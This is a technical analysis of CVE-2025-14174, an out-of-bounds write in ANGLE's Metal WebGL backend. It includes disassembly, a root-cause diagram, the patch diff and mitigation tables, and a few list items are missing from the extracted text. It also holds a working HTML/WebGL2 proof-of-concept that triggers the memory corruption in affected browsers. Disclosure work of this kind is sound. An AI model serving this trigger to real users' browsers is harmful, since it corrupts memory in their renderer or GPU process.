
Analysis and PoC for CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)
Technical analysis and proof-of-concept for CVE-2025-14174
| CVE | CVE-2025-14174 |
| Severity | High |
| Exploited ITW | Yes - targeted attacks on iOS < 26 |
| Affected | iOS Safari, macOS Chrome/Chromium/Electron (not macOS Safari) |
| Status | Patched in ANGLE commit 95a32cb |
| Credit | Apple, Google Threat Analysis Group |
According to Apple, CVE-2025-14174 was exploited as part of an "extremely sophisticated attack against specific targeted individuals" on iOS versions before iOS 26.
The attack chain included:
An out-of-bounds (OOB) write vulnerability exists in ANGLE's Metal backend when uploading depth textures via a staging buffer. The staging buffer size is calculated using GL_UNPACK_IMAGE_HEIGHT instead of the actual texture height. When UNPACK_IMAGE_HEIGHT < height, ANGLE allocates an undersized buffer and subsequently writes height rows into it, causing a GPU memory corruption in the renderer process.
This vulnerability affects applications using ANGLE's Metal backend for WebGL:
iOS Safari is affected. On iOS, WebKit uses ANGLE as its WebGL backend, making Safari on iPhone and iPad vulnerable.
macOS Safari is NOT affected. On macOS, Safari uses WebKit's own native WebGL implementation that interfaces directly with Metal, bypassing ANGLE entirely.
macOS Chrome is affected. Google Chrome running on macOS 26.1 appeared vulnerable during testing, as it uses ANGLE's Metal backend for WebGL.
The vulnerable code path exists in ANGLE's TextureMtl class (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| Severity | Description |
|---|---|
| Confirmed | GPU/Metal backend write past end of staging buffer |
Key characteristics:
NO_ERROR)In the D32F depth texture upload path, ANGLE computes pixelsDepthPitch from GL_UNPACK_IMAGE_HEIGHT and uses this value to size the staging MTLBuffer. However, the subsequent compute dispatch (depth saturation) uses the actual texture height for the operation, causing an OOB write when the parameters differ.
For width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
All of the following must be true:
DEPTH_COMPONENT32F (verified; other depth formats may also be affected but are untested)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT set to a value less than actual texture heightGL_UNPACK_IMAGE_HEIGHT is defined by the GL spec to affect 3D/array texture uploads, not 2D textures. For TEXTURE_2D:
UNPACK_IMAGE_HEIGHT < height for 2D texturesWebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
The SaturateDepth function subsequently dispatches a Metal compute shader using the actual texture dimensions, writing past the undersized staging buffer.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
Expected result on vulnerable systems: gl.getError() returns NO_ERROR despite the OOB write occurring in the GPU process.
ANGLE commit 95a32cb corrects the staging buffer allocation to use actual texture dimensions:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
Additionally, srcBytesPerImage calculation was fixed for the blit operation:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
This vulnerability is difficult to detect from JavaScript:
NO_ERROR even when the bug is triggered| Approach | Description |
|---|---|
| Update | Apply platform updates containing the ANGLE fix |
| Workaround | Avoid setting UNPACK_IMAGE_HEIGHT smaller than actual height for depth textures |
Vulnerability Discovery: Apple, Google Threat Analysis Group
Technical Analysis: This writeup documents independent research and reverse engineering of the vulnerability.
Analysis conducted as part of SpiderWebKit security research project.
| Platform | Software | Affected | Notes |
|---|
| iOS | Safari | Yes | WebKit on iOS uses ANGLE Metal for WebGL |
| macOS | Chrome / Chromium | Yes | Uses ANGLE Metal backend |
| macOS | Electron apps | Yes | Uses Chromium's ANGLE implementation |
| macOS | Safari | No | Uses WebKit's native Metal WebGL, not ANGLE |
| Confirmed |
| Reproducible via WebGL2 + PBO + DEPTH_COMPONENT32F |
| Plausible | GPU process crash or context loss under memory pressure |
| Theoretical | Cross-resource corruption in GPU memory (not demonstrated) |
| Parameter | Calculation | Value |
|---|
| Row pitch | width * sizeof(float) | 4 bytes |
| Staging buffer (allocated) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 bytes |
| Compute dispatch (written) | rowPitch * actualHeight | 2048 bytes |
| OOB write | 2048 - 512 | 1536 bytes |
| Function | Address | Role |
|---|
setSubImageImpl | 0x272fa9028 | Computes undersized depthPitch |
setPerSliceSubImage | 0x272fac240 | Allocates undersized staging buffer |
MakeBufferWithStorageMode | 0x272ef19bc | Creates MTLBuffer with wrong size |
SaturateDepth | 0x272facfa4 | Dispatches compute with actual dimensions |
| Function | Address | Role |
|---|
setSubImageImpl | 0x22c6d10f4 | Computes undersized depthPitch |
setPerSliceSubImage | 0x22c6d4398 | Allocates undersized staging buffer |
MakeBufferWithStorageMode | 0x22c619490 | Creates MTLBuffer with wrong size |
SaturateDepth | 0x22c6d5144 | Dispatches compute with actual dimensions |
| Defense-in-depth | Use fixed-size uploads where UNPACK_IMAGE_HEIGHT == height |